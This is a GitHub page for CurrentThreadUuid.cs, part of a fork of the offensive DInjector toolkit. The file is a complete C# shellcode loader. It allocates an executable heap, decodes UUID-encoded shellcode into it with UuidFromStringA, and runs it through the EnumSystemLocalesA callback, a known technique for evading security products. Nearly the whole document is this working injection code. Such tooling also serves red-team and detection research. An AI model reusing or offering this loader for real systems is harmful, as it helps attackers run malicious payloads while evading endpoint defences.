forked from rvrsh3ll/DInjector
-
Notifications
You must be signed in to change notification settings - Fork 0
/
CurrentThreadUuid.cs
47 lines (34 loc) · 1.27 KB
/
CurrentThreadUuid.cs
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
using System;
namespace DInjector
{
class CurrentThreadUuid
{
public static void Execute(string shellcode, bool debug = false)
{
#region HeapCreate
var hHeap = Win32.HeapCreate((uint)0x00040000, UIntPtr.Zero, UIntPtr.Zero);
if (hHeap != null)
Console.WriteLine("(CurrentThreadUuid) [+] HeapCreate");
else
throw new Exception("(CurrentThreadUuid) [-] HeapCreate: " + hHeap.ToString("x2"));
#endregion
#region UuidFromStringA
var uuids = shellcode.Split('|');
IntPtr heapAddress = IntPtr.Zero;
for (int i = 0; i < uuids.Length; i++)
{
heapAddress = IntPtr.Add(hHeap, 16 * i);
_ = Win32.UuidFromStringA(uuids[i], heapAddress);
}
Console.WriteLine("(CurrentThreadUuid) [+] UuidFromStringA");
#endregion
#region EnumSystemLocalesA
var result = Win32.EnumSystemLocalesA(hHeap, 0);
if (result)
Console.WriteLine("(CurrentThreadUuid) [+] EnumSystemLocalesA");
else
throw new Exception("(CurrentThreadUuid) [-] EnumSystemLocalesA");
#endregion
}
}
}